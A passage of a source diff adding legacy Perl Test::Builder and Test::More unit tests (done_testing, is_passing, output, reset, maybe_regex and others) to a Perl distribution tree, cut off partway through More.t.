+ 'details() should return a list of all test details');
+
+$Test->level(1);
+is_deeply( \@details, \@Expected_Details );
+
+
+# This test has to come last because it thrashes the test details.
+{
+ my $curr_test = $Test->current_test;
+ $Test->current_test(4);
+ my @details = $Test->details();
+
+ $Test->current_test($curr_test);
+ $Test->is_num( scalar @details, 4 );
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing.t
new file mode 100644
index 00000000000..14a8f918b02
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing.t
@@ -0,0 +1,12 @@
+#!/usr/bin/perl -w
+
+use strict;
+
+use Test::Builder;
+
+my $tb = Test::Builder->new;
+$tb->level(0);
+
+$tb->ok(1, "testing done_testing() with no arguments");
+$tb->ok(1, " another test so we're not testing just one");
+$tb->done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t
new file mode 100644
index 00000000000..ef5e0778cfe
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t
@@ -0,0 +1,51 @@
+#!/usr/bin/perl -w
+
+use strict;
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+my $tb = Test::Builder::NoOutput->create;
+
+# $tb methods expect to be wrapped in at least 1 sub
+sub done_testing { $tb->done_testing(@_) }
+sub ok { $tb->ok(@_) }
+
+{
+ # Normalize test output
+ local $ENV{HARNESS_ACTIVE};
+
+ ok(1);
+ ok(1);
+ ok(1);
+
+#line 24
+ done_testing(3);
+ done_testing;
+ done_testing;
+}
+
+my $Test = Test::Builder->new;
+$Test->plan( tests => 1 );
+$Test->level(0);
+$Test->is_eq($tb->read, <<"END", "multiple done_testing");
+ok 1
+ok 2
+ok 3
+1..3
+not ok 4 - done_testing() was already called at $0 line 24
+# Failed test 'done_testing() was already called at $0 line 24'
+# at $0 line 25.
+not ok 5 - done_testing() was already called at $0 line 24
+# Failed test 'done_testing() was already called at $0 line 24'
+# at $0 line 26.
+END
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t
new file mode 100644
index 00000000000..54e7f42a24a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t
@@ -0,0 +1,50 @@
+#!/usr/bin/perl -w
+
+# What if there's a plan and done_testing but they don't match?
+
+use strict;
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+my $tb = Test::Builder::NoOutput->create;
+
+# TB methods expect to be wrapped
+sub ok { $tb->ok(@_) }
+sub plan { $tb->plan(@_) }
+sub done_testing { $tb->done_testing(@_) }
+
+{
+ # Normalize test output
+ local $ENV{HARNESS_ACTIVE};
+
+ plan( tests => 3 );
+ ok(1);
+ ok(1);
+ ok(1);
+
+#line 24
+ done_testing(2);
+}
+
+my $Test = Test::Builder->new;
+$Test->plan( tests => 1 );
+$Test->level(0);
+$Test->is_eq($tb->read, <<"END");
+1..3
+ok 1
+ok 2
+ok 3
+not ok 4 - planned to run 3 but done_testing() expects 2
+# Failed test 'planned to run 3 but done_testing() expects 2'
+# at $0 line 24.
+END
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_no_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_no_plan.t
new file mode 100644
index 00000000000..ff5f40c1975
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_no_plan.t
@@ -0,0 +1,11 @@
+#!/usr/bin/perl -w
+
+use strict;
+
+use Test::Builder;
+
+my $tb = Test::Builder->new;
+$tb->plan( "no_plan" );
+$tb->ok(1);
+$tb->ok(1);
+$tb->done_testing(2);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_number.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_number.t
new file mode 100644
index 00000000000..c21458f54ee
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_number.t
@@ -0,0 +1,12 @@
+#!/usr/bin/perl -w
+
+use strict;
+
+use Test::Builder;
+
+my $tb = Test::Builder->new;
+$tb->level(0);
+
+$tb->ok(1, "testing done_testing() with no arguments");
+$tb->ok(1, " another test so we're not testing just one");
+$tb->done_testing(2);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_plan.t
new file mode 100644
index 00000000000..c0a3d0f014d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_plan.t
@@ -0,0 +1,11 @@
+#!/usr/bin/perl -w
+
+use strict;
+
+use Test::Builder;
+
+my $tb = Test::Builder->new;
+$tb->plan( tests => 2 );
+$tb->ok(1);
+$tb->ok(1);
+$tb->done_testing(2);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t
new file mode 100644
index 00000000000..f084571570e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t
@@ -0,0 +1,54 @@
+#!perl -w
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_FORK/;
+
+BEGIN {
+ unless (CAN_FORK) {
+ require Test::More;
+ Test::More->import(skip_all => "fork is not supported");
+ }
+}
+
+use IO::Pipe;
+use Test::Builder;
+use Config;
+
+my $b = Test::Builder->new;
+$b->reset;
+
+$b->plan('tests' => 2);
+
+my $pipe = IO::Pipe->new;
+if (my $pid = fork) {
+ $pipe->reader;
+ my ($one, $two) = <$pipe>;
+ $b->like($one, qr/ok 1/, "ok 1 from child");
+ $b->like($two, qr/1\.\.1/, "1..1 from child");
+ waitpid($pid, 0);
+}
+else {
+ require Test::Builder::Formatter;
+ $b->{Stack}->top->format(Test::Builder::Formatter->new());
+ $pipe->writer;
+ $b->reset;
+ $b->no_plan;
+ $b->output($pipe);
+ $b->ok(1);
+ $b->done_testing;
+}
+
+
+=pod
+#actual
+1..2
+ok 1
+1..1
+ok 1
+ok 2
+#expected
+1..2
+ok 1
+ok 2
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan.t
new file mode 100644
index 00000000000..d0be86a97aa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan.t
@@ -0,0 +1,23 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib');
+ }
+}
+
+use strict;
+use Test::Builder;
+
+my $unplanned;
+
+BEGIN {
+ $unplanned = 'oops';
+ $unplanned = Test::Builder->new->has_plan;
+};
+
+use Test::More tests => 2;
+
+is($unplanned, undef, 'no plan yet defined');
+is(Test::Builder->new->has_plan, 2, 'has fixed plan');
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan2.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan2.t
new file mode 100644
index 00000000000..e13ea4af944
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan2.t
@@ -0,0 +1,22 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More;
+
+BEGIN {
+ if( !$ENV{HARNESS_ACTIVE} && $ENV{PERL_CORE} ) {
+ plan skip_all => "Won't work with t/TEST";
+ }
+}
+
+use strict;
+use Test::Builder;
+
+plan 'no_plan';
+is(Test::Builder->new->has_plan, 'no_plan', 'has no_plan');
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_fh.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_fh.t
new file mode 100644
index 00000000000..0eb3ec0b159
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_fh.t
@@ -0,0 +1,48 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 11;
+use TieOut;
+
+ok( !Test::Builder->is_fh("foo"), 'string is not a filehandle' );
+ok( !Test::Builder->is_fh(''), 'empty string' );
+ok( !Test::Builder->is_fh(undef), 'undef' );
+
+ok( open(FILE, '>foo') );
+END { close FILE; 1 while unlink 'foo' }
+
+ok( Test::Builder->is_fh(*FILE) );
+ok( Test::Builder->is_fh(\*FILE) );
+ok( Test::Builder->is_fh(*FILE{IO}) );
+
+tie *OUT, 'TieOut';
+ok( Test::Builder->is_fh(*OUT) );
+ok( Test::Builder->is_fh(\*OUT) );
+
+SKIP: {
+ skip "*TIED_HANDLE{IO} doesn't work in this perl", 1
+ unless defined *OUT{IO};
+ ok( Test::Builder->is_fh(*OUT{IO}) );
+}
+
+
+package Lying::isa;
+
+sub isa {
+ my $self = shift;
+ my $parent = shift;
+
+ return 1 if $parent eq 'IO::Handle';
+}
+
+::ok( Test::Builder->is_fh(bless {}, "Lying::isa"));
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_passing.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_passing.t
new file mode 100644
index 00000000000..d0aed0c2a4b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_passing.t
@@ -0,0 +1,105 @@
+#!/usr/bin/perl -w
+
+use strict;
+use lib 't/lib';
+
+# We're going to need to override exit() later
+BEGIN {
+ require Test2::Hub;
+ no warnings 'redefine';
+ *Test2::Hub::terminate = sub {
+ my $status = @_ ? 0 : shift;
+ CORE::exit $status;
+ };
+}
+
+use Test::More;
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+{
+ my $tb = Test::Builder::NoOutput->create;
+ ok $tb->is_passing, "a fresh TB object is passing";
+
+ $tb->ok(1);
+ ok $tb->is_passing, " still passing after a test";
+
+ $tb->ok(0);
+ ok !$tb->is_passing, " not passing after a failing test";
+
+ $tb->ok(1);
+ ok !$tb->is_passing, " a passing test doesn't resurrect it";
+
+ $tb->done_testing(3);
+ ok !$tb->is_passing, " a successful plan doesn't help either";
+}
+
+
+# See if is_passing() notices a plan overrun
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->plan( tests => 1 );
+ $tb->ok(1);
+ ok $tb->is_passing, "Passing with a plan";
+
+ $tb->ok(1);
+ ok !$tb->is_passing, " passing test, but it overran the plan";
+}
+
+
+# is_passing() vs no_plan
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->plan( "no_plan" );
+ ok $tb->is_passing, "Passing with no_plan";
+
+ $tb->ok(1);
+ ok $tb->is_passing, " still passing after a test";
+
+ $tb->ok(1);
+ ok $tb->is_passing, " and another test";
+
+ $tb->_ending;
+ ok $tb->is_passing, " and after the ending";
+}
+
+# is_passing() vs skip_all
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ {
+ no warnings 'redefine';
+ local *Test2::Hub::terminate = sub { 1 };
+
+ $tb->plan( "skip_all" );
+ }
+ ok $tb->is_passing, "Passing with skip_all";
+}
+
+# is_passing() vs done_testing(#)
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->ok(1);
+ $tb->done_testing(2);
+ ok !$tb->is_passing, "All tests passed but done_testing() does not match";
+}
+
+
+# is_passing() with no tests run vs done_testing()
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->done_testing();
+ ok !$tb->is_passing, "No tests run with done_testing()";
+}
+
+
+# is_passing() with no tests run vs done_testing()
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->ok(1);
+ $tb->done_testing();
+ ok $tb->is_passing, "All tests passed with done_testing()";
+}
+
+
+done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/maybe_regex.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/maybe_regex.t
new file mode 100644
index 00000000000..d1927a56e5b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/maybe_regex.t
@@ -0,0 +1,60 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 16;
+
+use Test::Builder;
+my $Test = Test::Builder->new;
+
+my $r = $Test->maybe_regex(qr/^FOO$/i);
+ok(defined $r, 'qr// detected');
+ok(('foo' =~ /$r/), 'qr// good match');
+ok(('bar' !~ /$r/), 'qr// bad match');
+
+SKIP: {
+ skip "blessed regex checker added in 5.10", 3 if $] < 5.010;
+
+ my $obj = bless qr/foo/, 'Wibble';
+ my $re = $Test->maybe_regex($obj);
+ ok( defined $re, "blessed regex detected" );
+ ok( ('foo' =~ /$re/), 'blessed qr/foo/ good match' );
+ ok( ('bar' !~ /$re/), 'blessed qr/foo/ bad math' );
+}
+
+{
+ my $r = $Test->maybe_regex('/^BAR$/i');
+ ok(defined $r, '"//" detected');
+ ok(('bar' =~ m/$r/), '"//" good match');
+ ok(('foo' !~ m/$r/), '"//" bad match');
+};
+
+{
+ my $r = $Test->maybe_regex('not a regex');
+ ok(!defined $r, 'non-regex detected');
+};
+
+
+{
+ my $r = $Test->maybe_regex('/0/');
+ ok(defined $r, 'non-regex detected');
+ ok(('f00' =~ m/$r/), '"//" good match');
+ ok(('b4r' !~ m/$r/), '"//" bad match');
+};
+
+
+{
+ my $r = $Test->maybe_regex('m,foo,i');
+ ok(defined $r, 'm,, detected');
+ ok(('fOO' =~ m/$r/), '"//" good match');
+ ok(('bar' !~ m/$r/), '"//" bad match');
+};
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_diag.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_diag.t
new file mode 100644
index 00000000000..ed154a7e15e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_diag.t
@@ -0,0 +1,13 @@
+#!/usr/bin/perl -w
+
+use Test::More 'no_diag';
+
+plan 'skip_all' => "This test cannot be run with the current formatter"
+ unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter');
+
+pass('foo');
+diag('This should not be displayed');
+
+is(Test::More->builder->no_diag, 1);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_ending.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_ending.t
new file mode 100644
index 00000000000..c356520fc77
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_ending.t
@@ -0,0 +1,22 @@
+use Test::Builder;
+# HARNESS-NO-STREAM
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+BEGIN {
+ my $t = Test::Builder->new;
+ $t->no_ending(1);
+}
+
+use Test::More tests => 3;
+
+# Normally, Test::More would yell that we ran too few tests, but we
+# suppressed the ending diagnostics.
+pass;
+print "ok 2\n";
+print "ok 3\n";
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_header.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_header.t
new file mode 100644
index 00000000000..93e6bec34c7
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_header.t
@@ -0,0 +1,21 @@
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::Builder;
+
+# STDOUT must be unbuffered else our prints might come out after
+# Test::More's.
+$| = 1;
+
+BEGIN {
+ Test::Builder->new->no_header(1);
+}
+
+use Test::More tests => 1;
+
+print "1..1\n";
+pass;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_plan_at_all.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_plan_at_all.t
new file mode 100644
index 00000000000..64a0e194767
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_plan_at_all.t
@@ -0,0 +1,36 @@
+#!/usr/bin/perl -w
+
+# Test what happens when no plan is declared and done_testing() is not seen
+
+use strict;
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+my $Test = Test::Builder->new;
+$Test->level(0);
+$Test->plan( tests => 1 );
+
+my $tb = Test::Builder::NoOutput->create;
+
+{
+ $tb->level(0);
+ $tb->ok(1, "just a test");
+ $tb->ok(1, " and another");
+ $tb->_ending;
+}
+
+$Test->is_eq($tb->read, <<'END', "proper behavior when no plan is seen");
+ok 1 - just a test
+ok 2 - and another
+# Tests were run but no plan was declared and done_testing() was not seen.
+END
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/ok_obj.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/ok_obj.t
new file mode 100644
index 00000000000..8678dbff8d9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/ok_obj.t
@@ -0,0 +1,29 @@
+#!/usr/bin/perl -w
+
+# Testing to make sure Test::Builder doesn't accidentally store objects
+# passed in as test arguments.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More tests => 4;
+
+package Foo;
+my $destroyed = 0;
+sub new { bless {}, shift }
+
+sub DESTROY {
+ $destroyed++;
+}
+
+package main;
+
+for (1..3) {
+ ok(my $foo = Foo->new, 'created Foo object');
+}
+is $destroyed, 3, "DESTROY called 3 times";
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/output.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/output.t
new file mode 100644
index 00000000000..77e0e0bbb38
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/output.t
@@ -0,0 +1,113 @@
+#!perl -w
+
+use strict;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+chdir 't';
+
+use Test::Builder;
+
+# The real Test::Builder
+my $Test = Test::Builder->new;
+$Test->plan( tests => 6 );
+
+
+# The one we're going to test.
+my $tb = Test::Builder->create();
+
+my $tmpfile = 'foo.tmp';
+END { 1 while unlink($tmpfile) }
+
+# Test output to a file
+{
+ my $out = $tb->output($tmpfile);
+ $Test->ok( defined $out );
+
+ print $out "hi!\n";
+ close *$out;
+
+ undef $out;
+ open(IN, $tmpfile) or die $!;
+ chomp(my $line = <IN>);
+ close IN;
+
+ $Test->is_eq($line, 'hi!');
+}
+
+
+# Test output to a filehandle
+{
+ open(FOO, ">>$tmpfile") or die $!;
+ my $out = $tb->output(\*FOO);
+ my $old = select *$out;
+ print "Hello!\n";
+ close *$out;
+ undef $out;
+ select $old;
+ open(IN, $tmpfile) or die $!;
+ my @lines = <IN>;
+ close IN;
+
+ $Test->like($lines[1], qr/Hello!/);
+}
+
+
+# Test output to a scalar ref
+{
+ my $scalar = '';
+ my $out = $tb->output(\$scalar);
+
+ print $out "Hey hey hey!\n";
+ $Test->is_eq($scalar, "Hey hey hey!\n");
+}
+
+
+# Test we can output to the same scalar ref
+{
+ my $scalar = '';
+ my $out = $tb->output(\$scalar);
+ my $err = $tb->failure_output(\$scalar);
+
+ print $out "To output ";
+ print $err "and beyond!";
+
+ $Test->is_eq($scalar, "To output and beyond!", "One scalar, two filehandles");
+}
+
+
+# Ensure stray newline in name escaping works.
+{
+ my $fakeout = '';
+ my $out = $tb->output(\$fakeout);
+ $tb->exported_to(__PACKAGE__);
+ $tb->no_ending(1);
+ $tb->plan(tests => 5);
+
+ $tb->ok(1, "ok");
+ $tb->ok(1, "ok\n");
+ $tb->ok(1, "ok, like\nok");
+ $tb->skip("wibble\nmoof");
+ $tb->todo_skip("todo\nskip\n");
+
+ $Test->is_eq( $fakeout, <<OUTPUT ) || print STDERR $fakeout;
+1..5
+ok 1 - ok
+ok 2 - ok
+#
+ok 3 - ok, like
+# ok
+ok 4 # skip wibble
+# moof
+not ok 5 # TODO & SKIP todo
+# skip
+#
+OUTPUT
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset.t
new file mode 100644
index 00000000000..94d6244d2e4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset.t
@@ -0,0 +1,79 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+
+# Test Test::Builder->reset;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+chdir 't';
+
+
+use Test::Builder;
+my $Test = Test::Builder->new;
+my $tb = Test::Builder->create;
+
+# We'll need this later to know the outputs were reset
+my %Original_Output;
+$Original_Output{$_} = $tb->$_ for qw(output failure_output todo_output);
+
+# Alter the state of Test::Builder as much as possible.
+my $output = '';
+$tb->output(\$output);
+$tb->failure_output(\$output);
+$tb->todo_output(\$output);
+
+$tb->plan(tests => 14);
+$tb->level(0);
+
+$tb->ok(1, "Running a test to alter TB's state");
+
+# This won't print since we just sent output off to oblivion.
+$tb->ok(0, "And a failure for fun");
+
+$Test::Builder::Level = 3;
+
+$tb->exported_to('Foofer');
+
+$tb->use_numbers(0);
+$tb->no_header(1);
+$tb->no_ending(1);
+
+$tb->done_testing; # make sure done_testing gets reset
+
+# Now reset it.
+$tb->reset;
+
+
+# Test the state of the reset builder
+$Test->ok( !defined $tb->exported_to, 'exported_to' );
+$Test->is_eq( $tb->expected_tests, 0, 'expected_tests' );
+$Test->is_eq( $tb->level, 1, 'level' );
+$Test->is_eq( $tb->use_numbers, 1, 'use_numbers' );
+$Test->is_eq( $tb->no_header, 0, 'no_header' );
+$Test->is_eq( $tb->no_ending, 0, 'no_ending' );
+$Test->is_eq( $tb->current_test, 0, 'current_test' );
+$Test->is_eq( scalar $tb->summary, 0, 'summary' );
+$Test->is_eq( scalar $tb->details, 0, 'details' );
+$Test->is_eq( fileno $tb->output,
+ fileno $Original_Output{output}, 'output' );
+$Test->is_eq( fileno $tb->failure_output,
+ fileno $Original_Output{failure_output}, 'failure_output' );
+$Test->is_eq( fileno $tb->todo_output,
+ fileno $Original_Output{todo_output}, 'todo_output' );
+
+# The reset Test::Builder will take over from here.
+$Test->no_ending(1);
+
+
+$tb->current_test($Test->current_test);
+$tb->level(0);
+$tb->ok(1, 'final test to make sure output was reset');
+
+$tb->done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset_outputs.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset_outputs.t
new file mode 100644
index 00000000000..b199128ad38
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset_outputs.t
@@ -0,0 +1,35 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::Builder;
+use Test::More 'no_plan';
+
+{
+ my $tb = Test::Builder->create();
+
+ # Store the original output filehandles and change them all.
+ my %original_outputs;
+
+ open my $fh, ">", "dummy_file.tmp";
+ END { 1 while unlink "dummy_file.tmp"; }
+ for my $method (qw(output failure_output todo_output)) {
+ $original_outputs{$method} = $tb->$method();
+ $tb->$method($fh);
+ is $tb->$method(), $fh;
+ }
+
+ $tb->reset_outputs;
+
+ for my $method (qw(output failure_output todo_output)) {
+ is $tb->$method(), $original_outputs{$method}, "reset_outputs() resets $method";
+ }
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/try.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/try.t
new file mode 100644
index 00000000000..eeb3bcb1ab4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/try.t
@@ -0,0 +1,42 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+use Test::More 'no_plan';
+
+require Test::Builder;
+my $tb = Test::Builder->new;
+
+
+# Test that _try() has no effect on $@ and $! and is not effected by
+# __DIE__
+{
+ local $SIG{__DIE__} = sub { fail("DIE handler called: @_") };
+ local $@ = 42;
+ local $! = 23;
+
+ is $tb->_try(sub { 2 }), 2;
+ is $tb->_try(sub { return '' }), '';
+
+ is $tb->_try(sub { die; }), undef;
+
+ is_deeply [$tb->_try(sub { die "Foo\n" })], [undef, "Foo\n"];
+
+ is $@, 42;
+ cmp_ok $!, '==', 23;
+}
+
+ok !eval {
+ $tb->_try(sub { die "Died\n" }, die_on_fail => 1);
+};
+is $@, "Died\n";
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/More.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/More.t
new file mode 100644
index 00000000000..ce535e26d99
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/More.t
@@ -0,0 +1,184 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = qw(../lib ../lib/Test/Simple/t/lib);
+ }
+}
+
+use lib 't/lib';
+use Test::More tests => 54;
+
+# Make sure we don't mess with $@ or $!. Test at bottom.
+my $Err = "this should not be touched";
+my $Errno = 42;
+$@ = $Err;
+$! = $Errno;
+
+use_ok('Dummy');
+is( $Dummy::VERSION, '0.01', 'use_ok() loads a module' );
+require_ok('Test::More');
+
+
+ok( 2 eq 2, 'two is two is two is two' );
+is( "foo", "foo", 'foo is foo' );
+isnt( "foo", "bar", 'foo isnt bar');
+isn't("foo", "bar", 'foo isn\'t bar');
+
+#'#
+like("fooble", '/^foo/', 'foo is like fooble');
+like("FooBle", '/foo/i', 'foo is like FooBle');
+like("/usr/local/pr0n/", '/^\/usr\/local/', 'regexes with slashes in like' );
+
+unlike("fbar", '/^bar/', 'unlike bar');
+unlike("FooBle", '/foo/', 'foo is unlike FooBle');
+unlike("/var/local/pr0n/", '/^\/usr\/local/','regexes with slashes in unlike' );
+
+my @foo = qw(foo bar baz);
+unlike(@foo, '/foo/');
+
+can_ok('Test::More', qw(require_ok use_ok ok is isnt like skip can_ok
+ pass fail eq_array eq_hash eq_set));
+can_ok(bless({}, "Test::More"), qw(require_ok use_ok ok is isnt like skip
+ can_ok pass fail eq_array eq_hash eq_set));
+
+
+isa_ok(bless([], "Foo"), "Foo");
+isa_ok([], 'ARRAY');
+isa_ok(\42, 'SCALAR');
+{
+ local %Bar::;
+ local @Foo::ISA = 'Bar';
+ isa_ok( "Foo", "Bar" );
+}
+
+
+# can_ok() & isa_ok should call can() & isa() on the given object, not
+# just class, in case of custom can()
+{
+ local *Foo::can;
+ local *Foo::isa;
+ *Foo::can = sub { $_[0]->[0] };
+ *Foo::isa = sub { $_[0]->[0] };
+ my $foo = bless([0], 'Foo');
+ ok( ! $foo->can('bar') );
+ ok( ! $foo->isa('bar') );
+ $foo->[0] = 1;
+ can_ok( $foo, 'blah');
+ isa_ok( $foo, 'blah');
+}
+
+
+pass('pass() passed');
+
+ok( eq_array([qw(this that whatever)], [qw(this that whatever)]),
+ 'eq_array with simple arrays' );
+is @Test::More::Data_Stack, 0, '@Data_Stack not holding onto things';
+
+ok( eq_hash({ foo => 42, bar => 23 }, {bar => 23, foo => 42}),
+ 'eq_hash with simple hashes' );
+is @Test::More::Data_Stack, 0;
+
+ok( eq_set([qw(this that whatever)], [qw(that whatever this)]),
+ 'eq_set with simple sets' );
+is @Test::More::Data_Stack, 0;
+
+my @complex_array1 = (
+ [qw(this that whatever)],
+ {foo => 23, bar => 42},
+ "moo",
+ "yarrow",
